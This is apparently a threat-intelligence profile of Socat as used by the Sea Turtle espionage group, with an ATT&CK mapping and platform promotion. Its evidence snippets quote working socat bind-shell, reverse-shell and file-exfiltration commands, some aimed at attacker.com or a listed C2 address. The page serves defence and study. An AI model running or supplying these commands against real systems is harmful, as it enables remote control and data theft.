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Malware1 associated actor

SOCAT

Tracked since Jan 23, 2026 · Updated 8 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days1 mention · peak 1 in a dayToday
Vulns0Associated
Actors1Associated
ATT&CK19Techniques
IOCs1Tracked
Capabilities
Post exploitation
Platforms
Linux

Socat is a legitimate networking utility that has been repurposed for command-and-control communications by Sea Turtle, an espionage threat actor also known as SILICON, Teal Kurma, Marbled Dust, and Cosmic Wolf. A modified Socat utility was associated with the actor’s operations against compromised Linux hosting infrastructure. In a 2023 campaign against an organization in the Netherlands, Sea Turtle accessed a cPanel environment over SSH using legitimate credentials and used Socat-related tooling to establish command-and-control channels. Socat is distinct from SnappyTCP, the Linux/Unix reverse shell deployed in the same campaign; the campaign’s information collection and anti-forensic activities are not established as capabilities of the modified Socat utility.

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Threat actors

Associated threat actors

1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

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Sea Turtle

A modified version of the tool Socat used by Sea Turtle to setup a command-and-control channel.

via imda singaporeimda.gov.sg
MITRE ATT&CK

Techniques & procedures

19 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

1 technique
T1588.001MalwareEvidence1

Sea Turtle dropped an information-gathering Linux reverse TCP shell called "SnappyTCP"; the advisory also identifies a modified version of Socat used for command and control.

Execution

3 techniques
T1059Command and Scripting InterpreterEvidence3

“The following analytic detects the execution of the socat utility with command-line arguments that configure a TCP or OpenSSL listener and bind an executable to incoming connections.”

T1059.003Windows Command ShellEvidence1

Windows : 'cmd.exe',pipes ... In short, this command provides a reverse shell on the system to the attacker through socat.

T1059.004Unix ShellEvidence4

"socat OPENSSL-LISTEN:443,cert=shell.pem,verify=0,fork EXEC:/bin/bash"

Privilege Escalation

2 techniques
T1548.001Setuid and SetgidEvidence1

"This function is performed by the privileged user if the executable has the SUID bit set ... because the effective privileges are not dropped."

T1548.003Sudo and Sudo CachingEvidence1

"This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped."

Credential Access

1 technique
T1557.001Name Resolution Poisoning and SMB RelayEvidence1

"I decided to relay the authentication to the SMB service of the ADCS server... no signing enabled, and dumped the local SAM database"

Lateral Movement

1 technique
T1570Lateral Tool TransferEvidence1

Once attackers achieve execution, they must move their toolkit across the environment. Several native protocols were validated for tool transfer (T1570).

Collection

1 technique
T1557.001Name Resolution Poisoning and SMB RelayEvidence1

"I decided to relay the authentication to the SMB service of the ADCS server... no signing enabled, and dumped the local SAM database"

Command and Control

9 techniques
T1071.001Web ProtocolsEvidence1

Sea Turtle... exfiltrated a copy of the email archive... through a command-and-control (C2) channel using TCP and HTTP.

T1090ProxyEvidence5

"socat TCP-LISTEN:8080,fork TCP:target-machine:80" ... "creates a bridge between port 8080 on your machine and port 80 on the target."

T1090.001Internal ProxyEvidence1

One Python script created multiple Windows portproxy rules and opened a matching firewall rule; a companion shell script started attacker-side socat listeners.

T1095Non-Application Layer ProtocolEvidence4

Examples include "socat tcp-listen:12345 ... exec:/bin/sh" and "socat tcp-connect:attacker.com:12345 exec:/bin/sh".

T1105Ingress Tool TransferEvidence4

The content shows transferring data with "socat -u file:/path/to/input-file tcp-connect:attacker.com:12345" and receiving it with netcat or socat listeners.

T1219Remote Access ToolsEvidence1

On receipt of this command, socat runs with following command line: "socat OPENSSL:193[.]218[.]118[.]190:4442,verify=0 EXEC:{OS Command}"

T1572Protocol TunnelingEvidence3

“Socat is a legitimate network utility, but this behavior may be used to expose executables, establish bind shells, facilitate remote command execution, or support lateral movement.”

T1573Encrypted ChannelEvidence1

Similar to other attacks... the importance of continuous SSL inspection... prevent initial compromise as well as communication back to C&C servers... "socat OPENSSL:193[.]218[.]118[.]190:4442,verify=0"

T1573.002Asymmetric CryptographyEvidence1

"They particularly valued its ability to create encrypted tunnels" and "The tool’s ability to create encrypted command and control channels made it significantly harder for defenders to identify and block the malicious traffic."

Exfiltration

2 techniques
T1048.002Exfiltration Over Asymmetric Encrypted Non-C2 ProtocolEvidence1

"Socat excels at creating covert channels for data exfiltration" and "transfer files over an encrypted channel."

T1567Exfiltration Over Web ServiceEvidence1

Sea Turtle... exfiltrated a copy of the email archive created in the public web directory of the website through a command-and-control (C2) channel using TCP and HTTP.

Indicators of compromise

Observables

1 indicator attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

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Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Activity feed

Recent activity

3 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

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Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching1Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors1Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilitiesCVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping19Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.